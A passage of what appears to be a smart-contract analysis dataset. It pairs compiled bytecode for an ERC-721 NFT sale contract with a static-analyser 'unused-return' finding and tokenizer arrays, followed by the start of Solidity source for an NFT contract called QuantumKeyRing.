1561049b57600080fd5b506104b660048036038101906104b19190612345565b61113e565b005b3480156104c457600080fd5b506104cd611150565b6040516104da91906129da565b60405180910390f35b3480156104ef57600080fd5b5061050a600480360381019061050591906124ef565b6111de565b60405161051791906129da565b60405180910390f35b34801561052c57600080fd5b50610547600480360381019061054291906122b2565b611288565b60405161055491906129bf565b60405180910390f35b34801561056957600080fd5b5061057261131c565b60405161057f9190612c7c565b60405180910390f35b34801561059457600080fd5b506105af60048036038101906105aa9190612285565b61132d565b005b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061067c57507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b8061068c575061068b8261143b565b5b9050919050565b6060600080546106a290612f10565b80601f01602080910402602001604051908101604052809291908181526020018280546106ce90612f10565b801561071b5780601f106106f05761010080835404028352916020019161071b565b820191906000526020600020905b8154815290600101906020018083116106fe57829003601f168201915b5050505050905090565b6000610730826114a5565b61076f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076690612b7c565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60006107b582610ab8565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610826576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081d90612bfc565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610845611511565b73ffffffffffffffffffffffffffffffffffffffff16148061087457506108738161086e611511565b611288565b5b6108b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108aa90612afc565b60405180910390fd5b6108bd8383611519565b505050565b61115c81565b6108d96108d3611511565b826115d2565b610918576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090f90612c1c565b60405180910390fd5b6109238383836116b0565b505050565b600a60009054906101000a900460ff1681565b610943611511565b73ffffffffffffffffffffffffffffffffffffffff16610961610d5d565b73ffffffffffffffffffffffffffffffffffffffff16146109b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ae90612b9c565b60405180910390fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610a02573d6000803e3d6000fd5b5050565b610a218383836040518060200160405280600081525061113e565b505050565b610a2e611511565b73ffffffffffffffffffffffffffffffffffffffff16610a4c610d5d565b73ffffffffffffffffffffffffffffffffffffffff1614610aa2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9990612b9c565b60405180910390fd5b818160089190610ab39291906120b3565b505050565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5890612b3c565b60405180910390fd5b80915050919050565b662c68af0bb1400081565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610be6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdd90612b1c565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c35611511565b73ffffffffffffffffffffffffffffffffffffffff16610c53610d5d565b73ffffffffffffffffffffffffffffffffffffffff1614610ca9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca090612b9c565b60405180910390fd5b610cb3600061190c565b565b610cbd611511565b73ffffffffffffffffffffffffffffffffffffffff16610cdb610d5d565b73ffffffffffffffffffffffffffffffffffffffff1614610d31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2890612b9c565b60405180910390fd5b600a60009054906101000a900460ff1615600a60006101000a81548160ff021916908315150217905550565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060018054610d9690612f10565b80601f0160208091040260200160405190810160405280929190818152602001828054610dc290612f10565b8015610e0f5780601f10610de457610100808354040283529160200191610e0f565b820191906000526020600020905b815481529060010190602001808311610df257829003601f168201915b5050505050905090565b6000610e2560076119d2565b9050600a60009054906101000a900460ff16610e76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6d90612a5c565b60405180910390fd5b600082118015610e865750600b82105b610ec5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebc90612c5c565b60405180910390fd5b61115c610edb83836119e090919063ffffffff16565b1115610f1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1390612abc565b60405180910390fd5b610f3682662c68af0bb140006119f690919063ffffffff16565b341015610f78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6f90612c3c565b60405180910390fd5b6000600190505b828111610fb857610f9b338284610f969190612d45565b611a0c565b610fa56007611425565b8080610fb090612f73565b915050610f7f565b505050565b610fc5611511565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611033576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102a90612a9c565b60405180910390fd5b8060056000611040611511565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff166110ed611511565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405161113291906129bf565b60405180910390a35050565b61114a84848484611a2a565b50505050565b6009805461115d90612f10565b80601f016020809104026020016040519081016040528092919081815260200182805461118990612f10565b80156111d65780601f106111ab576101008083540402835291602001916111d6565b820191906000526020600020905b8154815290600101906020018083116111b957829003601f168201915b505050505081565b60606111e9826114a5565b611228576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121f90612bdc565b60405180910390fd5b6000611232611a8c565b905060008151116112525760405180602001604052806000815250611280565b8061125c84611b1e565b600960405160200161127093929190612927565b6040516020818303038152906040525b915050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600061132860076119d2565b905090565b611335611511565b73ffffffffffffffffffffffffffffffffffffffff16611353610d5d565b73ffffffffffffffffffffffffffffffffffffffff16146113a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a090612b9c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611419576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141090612a1c565b60405180910390fd5b6114228161190c565b50565b6001816000016000828254019250508190555050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff1661158c83610ab8565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60006115dd826114a5565b61161c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161390612adc565b60405180910390fd5b600061162783610ab8565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061169657508373ffffffffffffffffffffffffffffffffffffffff1661167e84610725565b73ffffffffffffffffffffffffffffffffffffffff16145b806116a757506116a68185611288565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff166116d082610ab8565b73ffffffffffffffffffffffffffffffffffffffff1614611726576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171d90612bbc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611796576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178d90612a7c565b60405180910390fd5b6117a1838383611c7f565b6117ac600082611519565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117fc9190612e26565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546118539190612d45565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081600001549050919050565b600081836119ee9190612d45565b905092915050565b60008183611a049190612dcc565b905092915050565b611a26828260405180602001604052806000815250611c84565b5050565b611a3b611a35611511565b836115d2565b611a7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7190612c1c565b60405180910390fd5b611a8684848484611cdf565b50505050565b606060088054611a9b90612f10565b80601f0160208091040260200160405190810160405280929190818152602001828054611ac790612f10565b8015611b145780601f10611ae957610100808354040283529160200191611b14565b820191906000526020600020905b815481529060010190602001808311611af757829003601f168201915b5050505050905090565b60606000821415611b66576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050611c7a565b600082905060005b60008214611b98578080611b8190612f73565b915050600a82611b919190612d9b565b9150611b6e565b60008167ffffffffffffffff811115611bb457611bb36130a9565b5b6040519080825280601f01601f191660200182016040528015611be65781602001600182028036833780820191505090505b5090505b60008514611c7357600182611bff9190612e26565b9150600a85611c0e9190612fbc565b6030611c1a9190612d45565b60f81b818381518110611c3057611c2f61307a565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a85611c6c9190612d9b565b9450611bea565b8093505050505b919050565b505050565b611c8e8383611d3b565b611c9b6000848484611f09565b611cda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd1906129fc565b60405180910390fd5b505050565b611cea8484846116b0565b611cf684848484611f09565b611d35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2c906129fc565b60405180910390fd5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611dab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da290612b5c565b60405180910390fd5b611db4816114a5565b15611df4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611deb90612a3c565b60405180910390fd5b611e0060008383611c7f565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611e509190612d45565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b6000611f2a8473ffffffffffffffffffffffffffffffffffffffff166120a0565b15612093578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02611f53611511565b8786866040518563ffffffff1660e01b8152600401611f759493929190612973565b602060405180830381600087803b158015611f8f57600080fd5b505af1925050508015611fc057506040513d601f19601f82011682018060405250810190611fbd9190612475565b60015b612043573d8060008114611ff0576040519150601f19603f3d011682016040523d82523d6000602084013e611ff5565b606091505b5060008151141561203b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612032906129fc565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050612098565b600190505b949350505050565b600080823b905060008111915050919050565b8280546120bf90612f10565b90600052602060002090601f0160209004810192826120e15760008555612128565b82601f106120fa57803560ff1916838001178555612128565b82800160010185558215612128579182015b8281111561212757823582559160200191906001019061210c565b5b5090506121359190612139565b5090565b5b8082111561215257600081600090555060010161213a565b5090565b600061216961216484612cbc565b612c97565b905082815260208101848484011115612185576121846130e7565b5b612190848285612ece565b509392505050565b6000813590506121a781613603565b92915050565b6000813590506121bc8161361a565b92915050565b6000813590506121d181613631565b92915050565b6000815190506121e681613631565b92915050565b600082601f830112612201576122006130dd565b5b8135612211848260208601612156565b91505092915050565b60008083601f8401126122305761222f6130dd565b5b8235905067ffffffffffffffff81111561224d5761224c6130d8565b5b602083019150836001820283011115612269576122686130e2565b5b9250929050565b60008135905061227f81613648565b92915050565b60006020828403121561229b5761229a6130f1565b5b60006122a984828501612198565b91505092915050565b600080604083850312156122c9576122c86130f1565b5b60006122d785828601612198565b92505060206122e885828601612198565b9150509250929050565b60008060006060848603121561230b5761230a6130f1565b5b600061231986828701612198565b935050602061232a86828701612198565b925050604061233b86828701612270565b9150509250925092565b6000806000806080858703121561235f5761235e6130f1565b5b600061236d87828801612198565b945050602061237e87828801612198565b935050604061238f87828801612270565b925050606085013567ffffffffffffffff8111156123b0576123af6130ec565b5b6123bc878288016121ec565b91505092959194509250565b600080604083850312156123df576123de6130f1565b5b60006123ed85828601612198565b92505060206123fe858286016121ad565b9150509250929050565b6000806040838503121561241f5761241e6130f1565b5b600061242d85828601612198565b925050602061243e85828601612270565b9150509250929050565b60006020828403121561245e5761245d6130f1565b5b600061246c848285016121c2565b91505092915050565b60006020828403121561248b5761248a6130f1565b5b6000612499848285016121d7565b91505092915050565b600080602083850312156124b9576124b86130f1565b5b600083013567ffffffffffffffff8111156124d7576124d66130ec565b5b6124e38582860161221a565b92509250509250929050565b600060208284031215612505576125046130f1565b5b600061251384828501612270565b91505092915050565b61252581612e5a565b82525050565b61253481612e6c565b82525050565b600061254582612d02565b61254f8185612d18565b935061255f818560208601612edd565b612568816130f6565b840191505092915050565b600061257e82612d0d565b6125888185612d29565b9350612598818560208601612edd565b6125a1816130f6565b840191505092915050565b60006125b782612d0d565b6125c18185612d3a565b93506125d1818560208601612edd565b80840191505092915050565b600081546125ea81612f10565b6125f48186612d3a565b9450600182166000811461260f576001811461262057612653565b60ff19831686528186019350612653565b61262985612ced565b60005b8381101561264b5781548189015260018201915060208101905061262c565b838801955050505b50505092915050565b6000612669603283612d29565b915061267482613107565b604082019050919050565b600061268c602683612d29565b915061269782613156565b604082019050919050565b60006126af601c83612d29565b91506126ba826131a5565b602082019050919050565b60006126d2601783612d29565b91506126dd826131ce565b602082019050919050565b60006126f5602483612d29565b9150612700826131f7565b604082019050919050565b6000612718601983612d29565b915061272382613246565b602082019050919050565b600061273b601c83612d29565b91506127468261326f565b602082019050919050565b600061275e602c83612d29565b915061276982613298565b604082019050919050565b6000612781603883612d29565b915061278c826132e7565b604082019050919050565b60006127a4602a83612d29565b91506127af82613336565b604082019050919050565b60006127c7602983612d29565b91506127d282613385565b604082019050919050565b60006127ea602083612d29565b91506127f5826133d4565b602082019050919050565b600061280d602c83612d29565b9150612818826133fd565b604082019050919050565b6000612830602083612d29565b915061283b8261344c565b602082019050919050565b6000612853602983612d29565b915061285e82613475565b604082019050919050565b6000612876602f83612d29565b9150612881826134c4565b604082019050919050565b6000612899602183612d29565b91506128a482613513565b604082019050919050565b60006128bc603183612d29565b91506128c782613562565b604082019050919050565b60006128df601483612d29565b91506128ea826135b1565b602082019050919050565b6000612902601783612d29565b915061290d826135da565b602082019050919050565b61292181612ec4565b82525050565b600061293382866125ac565b915061293f82856125ac565b915061294b82846125dd565b9150819050949350505050565b600060208201905061296d600083018461251c565b92915050565b6000608082019050612988600083018761251c565b612995602083018661251c565b6129a26040830185612918565b81810360608301526129b4818461253a565b905095945050505050565b60006020820190506129d4600083018461252b565b92915050565b600060208201905081810360008301526129f48184612573565b905092915050565b60006020820190508181036000830152612a158161265c565b9050919050565b60006020820190508181036000830152612a358161267f565b9050919050565b60006020820190508181036000830152612a55816126a2565b9050919050565b60006020820190508181036000830152612a75816126c5565b9050919050565b60006020820190508181036000830152612a95816126e8565b9050919050565b60006020820190508181036000830152612ab58161270b565b9050919050565b60006020820190508181036000830152612ad58161272e565b9050919050565b60006020820190508181036000830152612af581612751565b9050919050565b60006020820190508181036000830152612b1581612774565b9050919050565b60006020820190508181036000830152612b3581612797565b9050919050565b60006020820190508181036000830152612b55816127ba565b9050919050565b60006020820190508181036000830152612b75816127dd565b9050919050565b60006020820190508181036000830152612b9581612800565b9050919050565b60006020820190508181036000830152612bb581612823565b9050919050565b60006020820190508181036000830152612bd581612846565b9050919050565b60006020820190508181036000830152612bf581612869565b9050919050565b60006020820190508181036000830152612c158161288c565b9050919050565b60006020820190508181036000830152612c35816128af565b9050919050565b60006020820190508181036000830152612c55816128d2565b9050919050565b60006020820190508181036000830152612c75816128f5565b9050919050565b6000602082019050612c916000830184612918565b92915050565b6000612ca1612cb2565b9050612cad8282612f42565b919050565b6000604051905090565b600067ffffffffffffffff821115612cd757612cd66130a9565b5b612ce0826130f6565b9050602081019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000612d5082612ec4565b9150612d5b83612ec4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612d9057612d8f612fed565b5b828201905092915050565b6000612da682612ec4565b9150612db183612ec4565b925082612dc157612dc061301c565b5b828204905092915050565b6000612dd782612ec4565b9150612de283612ec4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612e1b57612e1a612fed565b5b828202905092915050565b6000612e3182612ec4565b9150612e3c83612ec4565b925082821015612e4f57612e4e612fed565b5b828203905092915050565b6000612e6582612ea4565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015612efb578082015181840152602081019050612ee0565b83811115612f0a576000848401525b50505050565b60006002820490506001821680612f2857607f821691505b60208210811415612f3c57612f3b61304b565b5b50919050565b612f4b826130f6565b810181811067ffffffffffffffff82111715612f6a57612f696130a9565b5b80604052505050565b6000612f7e82612ec4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612fb157612fb0612fed565b5b600182019050919050565b6000612fc782612ec4565b9150612fd283612ec4565b925082612fe257612fe161301c565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f53616c65206e6565647320746f20626520616374697665000000000000000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f5061796d656e74206578636565647320746f74616c20737570706c7900000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f496e636f72726563742045746820616d6f756e74000000000000000000000000600082015250565b7f496e76616c696420707572636861736520616d6f756e74000000000000000000600082015250565b61360c81612e5a565b811461361757600080fd5b50565b61362381612e6c565b811461362e57600080fd5b50565b61363a81612e78565b811461364557600080fd5b50565b61365181612ec4565b811461365c57600080fd5b5056fea2646970667358221220d4a51bfe397a5dd26f7b60e3c8dbff32feef3d1fb0c565df514884261593da9564736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 19841, 2549, 19797, 11329, 2575, 2094, 2683, 2497, 18139, 2581, 2475, 9818, 2575, 2509, 2546, 2620, 2278, 2581, 2050, 27531, 23352, 2549, 9818, 2278, 23777, 2683, 2683, 10354, 2683, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 3904, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 3075, 7817, 1063, 27507, 16048, 2797, 5377, 1035, 2002, 2595, 1035, 9255, 1027, 1000, 5890, 21926, 19961, 2575, 2581, 2620, 2683, 7875, 19797, 12879, 1000, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 19884, 1037, 1036, 21318, 3372, 17788, 2575, 1036, 2000, 2049, 2004, 6895, 2072, 1036, 5164, 1036, 26066, 6630, 1012, 1008, 1013, 3853, 2000, 3367, 4892, 1006, 21318, 3372, 17788, 2575, 3643, 1007, 4722, 5760, 5651, 1006, 5164, 3638, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,580
0x9705a7113363A383c8A96689e20286AbE6612bb3
// SPDX-License-Identifier: MIT pragma solidity ^0.8.11; import {ERC721 as ERC721S} from "@rari-capital/solmate/src/tokens/ERC721.sol"; import "@rari-capital/solmate/src/auth/Auth.sol"; import "@openzeppelin/contracts/utils/structs/BitMaps.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "./ERC2981V2.sol"; // // // XXXXXXX // X XXXX XXXXXX // XXSXSXXXXXX XXXXX // XXXXX XX XXXXXSXX // XXXX XXXS SSXX XXXX // XXX XXXX XXXXXX X // XXXXXXX X XXX XXX // XXXXXXXX XXXXXXX // SXX XXXXX XXXSXXSX // XXXXXXXXX XXXXXXXXXX // SXXX X XX XXXXXX XXX // XXXXXX X XXX X X XSXX // SXXXXX X XXSXXXXS XX // XSXSX XXXXXX // SXXX XXX XXXXX // XXXXX SXXXXXX // SXXS X XXXXX // XXXXXX X XSX X // XSXXX XX XXXXX // XXSXSSX XXXXXX // XSXXXSXXXXXXXXX // XXXXX XXXXXX /// @title The Quantum Key Ring. The keys do something. /// @author exp.table contract QuantumKeyRing is ERC721S, ERC2981, Auth { using Strings for uint256; using BitMaps for BitMaps.BitMap; /// >>>>>>>>>>>>>>>>>>>>>>> STATE <<<<<<<<<<<<<<<<<<<<<<<<<< /// mapping (uint256 => string) public keyCID; mapping (uint256 => uint256) public keySupply; mapping (uint256 => uint256) public tokenIdToSkinId; uint private constant _SEPARATOR = 10**4; string private _baseURI = "ipfs://"; address private _minter; /// >>>>>>>>>>>>>>>>>>>>> CONSTRUCTOR <<<<<<<<<<<<<<<<<<<<<< /// /// @notice Deploys QuantumKeyRing /// @dev Initiates the Auth module with no authority and the sender as the owner /// @param owner The owner of the contract /// @param authority address of the deployed authority constructor(address owner, address authority) ERC721S("QuantumKeyRing", "QKR") Auth(owner, Authority(authority)) { _baseURI = "ipfs://"; } /// >>>>>>>>>>>>>>>>>>>>> RESTRICTED <<<<<<<<<<<<<<<<<<<<<< /// /// @notice set address of the minter /// @param minter The address of the minter - should be QuantumKeyMaker function setMinter(address minter) public requiresAuth { _minter = minter; } /// @notice set the baseURI /// @param baseURI new base function setBaseURI(string calldata baseURI) public requiresAuth { _baseURI = baseURI; } /// @notice set the IPFS CID /// @param keyId The key id /// @param cid cid function setCID(uint256 keyId, string calldata cid) public requiresAuth { keyCID[keyId] = cid; } /// @notice sets the recipient of the royalties /// @param recipient address of the recipient function setRoyaltyRecipient(address recipient) public requiresAuth { _royaltyRecipient = recipient; } /// @notice sets the fee of royalties /// @dev The fee denominator is 10000 in BPS. /// @param fee fee /* Example This would set the fee at 5% ``` keyRing.setRoyaltyFee(500) ``` */ function setRoyaltyFee(uint256 fee) public requiresAuth { _royaltyFee = fee; } /// >>>>>>>>>>>>>>>>>>>>> VIEW <<<<<<<<<<<<<<<<<<<<<< /// /// @notice Returns the URI of the token /// @param tokenId id of the token /// @return URI for the token ; expected to be ipfs://<cid> function tokenURI(uint256 tokenId) public view override returns (string memory) { uint256 keyId = tokenId / _SEPARATOR; return string(abi.encodePacked(_baseURI, keyCID[keyId], "/" , tokenIdToSkinId[tokenId].toString())); } /// >>>>>>>>>>>>>>>>>>>>> EXTERNAL <<<<<<<<<<<<<<<<<<<<<< /// /// @notice Mints new keys /// @dev there is no check regarding limiting supply /// @param to recipient of newly minted tokens /// @param keyId id of the key /// @param amount amount to mint function make(address to, uint256 keyId, uint256 amount) public { require(msg.sender == owner || msg.sender == _minter, "NOT_AUTHORIZED"); uint256 currSupply = keySupply[keyId]; for(uint i; i < amount; i++) { _safeMint(to, (keyId * _SEPARATOR) + currSupply + i); } keySupply[keyId] += amount; } /// @notice Burns key /// @dev Can be called by the owner or approved operator /// @param tokenId id of the tokens function burn(uint256 tokenId) public { address owner = ownerOf[tokenId]; require( msg.sender == owner || msg.sender == getApproved[tokenId] || isApprovedForAll[owner][msg.sender], "NOT_AUTHORIZED" ); _burn(tokenId); } /// @notice Applies a skin to a key /// @param tokenId id of the key /// @param skinId index of the skin function applySkin(uint256 tokenId, uint256 skinId) public { require(ownerOf[tokenId] == msg.sender, "NOT_OWNER"); require(skinId > tokenIdToSkinId[tokenId], "CANT_REVERT"); tokenIdToSkinId[tokenId] = skinId; } function supportsInterface(bytes4 interfaceId) public pure virtual override(ERC721S, ERC2981) returns (bool) { return ERC721S.supportsInterface(interfaceId) || ERC2981.supportsInterface(interfaceId); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity >=0.8.0; /// @notice Modern, minimalist, and gas efficient ERC-721 implementation. /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol) /// @dev Note that balanceOf does not revert if passed the zero address, in defiance of the ERC. abstract contract ERC721 { /*/////////////////////////////////////////////////////////////// EVENTS //////////////////////////////////////////////////////////////*/ event Transfer(address indexed from, address indexed to, uint256 indexed id); event Approval(address indexed owner, address indexed spender, uint256 indexed id); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /*/////////////////////////////////////////////////////////////// METADATA STORAGE/LOGIC //////////////////////////////////////////////////////////////*/ string public name; string public symbol; function tokenURI(uint256 id) public view virtual returns (string memory); /*/////////////////////////////////////////////////////////////// ERC721 STORAGE //////////////////////////////////////////////////////////////*/ mapping(address => uint256) public balanceOf; mapping(uint256 => address) public ownerOf; mapping(uint256 => address) public getApproved; mapping(address => mapping(address => bool)) public 